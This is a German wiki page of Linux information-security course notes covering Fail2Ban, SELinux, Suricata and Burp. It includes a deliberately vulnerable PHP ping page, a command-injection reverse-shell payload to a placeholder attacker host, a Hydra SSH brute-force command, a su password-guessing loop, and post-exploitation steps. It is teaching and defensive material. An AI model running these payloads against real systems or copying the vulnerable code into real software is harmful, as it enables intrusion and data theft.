Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 182: | Zeile 182: | ||
= Squid Proxy = | = Squid Proxy = | ||
| + | |||
| + | * Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren | ||
| + | * Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten | ||
= Links = | = Links = | ||
* Brute Force ''su'' als Skript: https://github.com/carlospolop/su-bruteforce | * Brute Force ''su'' als Skript: https://github.com/carlospolop/su-bruteforce | ||
Version vom 1. September 2023, 08:09 Uhr
Ausgangszustand
physischer Zugangsschutz
Bootzugriff absichern
- Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
- So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
- D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
- Anleitung zu Linux boot hacking
- Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
- Anleitung zum setzen eines Passworts für GRUB2
Brute Force Attacken
- Brute Force Attacken versuchen durch sich bei einem Dienst mit zufälligen Anmeldedaten zu authentifizieren ohne diese zu kennen
- Dafür werden entweder zufällig generierte oder häufig benutzte Benutzernamen / Passwörter versucht
- Eine populäre Software für solche Testzwecke mit Multithreading ist Hydra
- apt update
- apt install hydra
Passwordliste laden
Angriff starten
- hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh
SSH Daemon in Fail2Ban aktivieren
- vim /etc/fail2ban/jail.local
[sshd] enable = true
Fail2Ban
- Fail2Ban (Fehlschlag führt zu Ban) überprüft die Authentifikations-Logs nach fehlgeschlagenen Anmeldeversuchen
- Dienst, Zeit der Anmeldung und IP werden analysiert
- Wenn das Limit überschritten wird, erstellt Fail2Ban für einen Zeitraum eine Firewall-Regel, welche diese IP sperrt
Status checken
- fail2ban-client status sshd
Status for the jail: sshd |- Filter | |- Currently failed: 1 | |- Total failed: 14 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 1 |- Total banned: 1 `- Banned IP list: 10.0.1xx.2
- iptables -nvL
Alles unbannen
- fail2ban-client unban --all
PAM
- Mit dem Pluggable Authentication Module kann man bestimmte Passwortrichtlinien setzen, um das setzen von einfachen/wohlbekannten Passwörtern zu verhindern
Command Injection über eine Webanwendung
Laboraufbau
- apt install apache2 php-sqlite3 libapache2-mod-php
Schwachstelle im Code
- vim /var/www/html/command-injection.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "<pre> $output</pre>";
}
?>
</body>
</html>
</php>
Exploit
- Auf der Angreifermaschine:
- nc -p port
- In der Webanwendung:
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
- nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
- Von dieser Position aus kann man folgenderweise weitermachen:
- Backend Code des Servers auslesen
- Informationen aus den Datenbanken stehlen
- Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
- Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
- Informationen über verwendete Software-Versionen sammeln
HIDS
AppArmor
SELinux
- Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
- SELinux unter Debian
- Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
- setenforce 0
- Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
- Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
- ausearch -m AVC -ts recent | audit2allow -M apache2-ping
- semodule -i apache2-ping.pp
- setenforce 1
- Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
- Die Verstöße kann man sich nochmal mit ausearch anzeigen lassen
- !!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html
OWASP Juice Shop
- Beispiel einer Webapplikation mit vielen (absichtlich) eingebauten Schwachstellen
- Soll das Vorgehen eines Hackers/Pentesters nachspielbar machen
- Erkunden der Webseite wie ein normaler Benutzer(auch als happy path bezeichnet)
- Untersuchen des HTML- und Javascript-Codes auf versteckte Informationen und auf die Funktionsweise der Webseite
- Injectionversuche über POST-Anfragen
- Request-Manipulation mit Burp
SQL Injection
Cross Site Scripting
Burp
- Dieses Tool ermöglicht das Abfangen von individuellen HTTP-Anfragen des Browsers
- Diese können dann wie eine Textdatei bearbeitet und weitergesendet werden
- Intruder: vereinfacht Brute-Force Attacken
- Repeater: speichert spezielle Anfragen und hat vielseitige Anwendungen, z.B.
- Analyse spezieller Antworten des Servers
- Leichters Abändern einer Anfrage
- Reverse Engineering des Backends
Suricata
- Infrastruktur-Beispiel:
- Da Suricata über Deep Packet Inspect die Paketinhalte analysiert, darf der Verkehr nicht verschlüsselt sein
- Wir lösen das Problem hier über HAProxy, der verschlüsselt mit den Clients kommuniziert, aber unverschlüsselt mit den Servern
- Zusätzlich können wir nun theoretisch alle TLS Zertifikate über HAProxy terminieren lassen
- Außerdem gibt das uns die Möglichkeit Loadbalancing zu betreiben
- Erkennen von SQL Injection Tests
- vim /etc/suricata/rules/local.rules
alert any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1";)
Schwachstellenerkennung/-scanning
nmap
Greenbone Security Manager
Social Engineering
Squid Proxy
- Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren
- Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten
Links
- Brute Force su als Skript: https://github.com/carlospolop/su-bruteforce


